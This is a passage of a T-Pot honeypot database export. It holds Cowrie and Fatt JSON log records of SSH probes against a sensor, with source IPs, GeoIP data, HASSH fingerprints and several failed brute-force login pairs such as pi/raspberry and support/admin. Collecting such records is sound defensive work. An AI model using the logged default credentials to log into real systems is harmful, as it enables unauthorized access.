23137	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:07.53359+03	2021-09-20 14:15:07.116473+03	{"_id": "MgbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8d54501e455c", "@version": "1", "duration": 2.8546581268310547, "timestamp": "2021-09-20T11:07:07.533590Z", "@timestamp": "2021-09-20T11:07:07.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23138	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:07.577727+03	2021-09-20 14:15:07.118472+03	{"_id": "MwbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e7bc5122699b", "@version": "1", "duration": 2.7634124755859375, "timestamp": "2021-09-20T11:07:07.577727Z", "@timestamp": "2021-09-20T11:07:07.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23139	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:07.942504+03	2021-09-20 14:15:07.119473+03	{"_id": "NAbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [oracle/or] failed", "session": "83ebf6194d97", "@version": "1", "password": "or", "username": "oracle", "timestamp": "2021-09-20T11:07:07.942504Z", "@timestamp": "2021-09-20T11:07:07.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23140	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:07.967433+03	2021-09-20 14:15:07.120472+03	{"_id": "NQbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ac1aa31e4b57", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:07.967433Z", "@timestamp": "2021-09-20T11:07:07.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23141	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:08.054247+03	2021-09-20 14:15:07.122472+03	{"_id": "NgbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [support/admin] failed", "session": "7596d01ecf51", "@version": "1", "password": "admin", "username": "support", "timestamp": "2021-09-20T11:07:08.054247Z", "@timestamp": "2021-09-20T11:07:08.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23142	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:08.128722+03	2021-09-20 14:15:07.123472+03	{"_id": "NwbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [kevin/kevin] failed", "session": "68fa21446dac", "@version": "1", "password": "kevin", "username": "kevin", "timestamp": "2021-09-20T11:07:08.128722Z", "@timestamp": "2021-09-20T11:07:08.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23168	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.648494+03	2021-09-20 14:15:07.158472+03	{"_id": "CgbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "31664c5d17b2", "@version": "1", "duration": 2.768183946609497, "timestamp": "2021-09-20T11:07:11.648494Z", "@timestamp": "2021-09-20T11:07:11.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23143	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.808711+03	2021-09-20 14:15:07.124472+03	{"_id": "UQbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60092 (192.168.176.2:22) [session: 20b7e85ff2d9]", "session": "20b7e85ff2d9", "@version": "1", "protocol": "ssh", "src_port": 60092, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.808711Z", "@timestamp": "2021-09-20T11:07:08.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23144	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:08.734728+03	2021-09-20 14:15:07.125472+03	{"_id": "WAbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46434, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.734728", "@timestamp": "2021-09-20T11:07:08.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23145	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:08.285643+03	2021-09-20 14:15:07.127474+03	{"_id": "ZgbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ac1aa31e4b57", "@version": "1", "timestamp": "2021-09-20T11:07:08.285643Z", "@timestamp": "2021-09-20T11:07:08.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23146	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:08.855859+03	2021-09-20 14:15:07.129472+03	{"_id": "ZwbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "18a1ddb0f9cf", "@version": "1", "timestamp": "2021-09-20T11:07:08.855859Z", "@timestamp": "2021-09-20T11:07:08.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23147	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:07:09.122288+03	2021-09-20 14:15:07.130472+03	{"_id": "aAbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [ivan/ivanpass] failed", "session": "824890bfdffa", "@version": "1", "password": "ivanpass", "username": "ivan", "timestamp": "2021-09-20T11:07:09.122288Z", "@timestamp": "2021-09-20T11:07:09.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23150	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.009861+03	2021-09-20 14:15:07.134472+03	{"_id": "mQbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [pi/raspberry] failed", "session": "20b7e85ff2d9", "@version": "1", "password": "raspberry", "username": "pi", "timestamp": "2021-09-20T11:07:10.009861Z", "@timestamp": "2021-09-20T11:07:10.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23151	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:09.460646+03	2021-09-20 14:15:07.135472+03	{"_id": "qQbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "68fa21446dac", "@version": "1", "duration": 2.7520978450775146, "timestamp": "2021-09-20T11:07:09.460646Z", "@timestamp": "2021-09-20T11:07:09.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23152	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:09.127651+03	2021-09-20 14:15:07.136473+03	{"_id": "rwbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 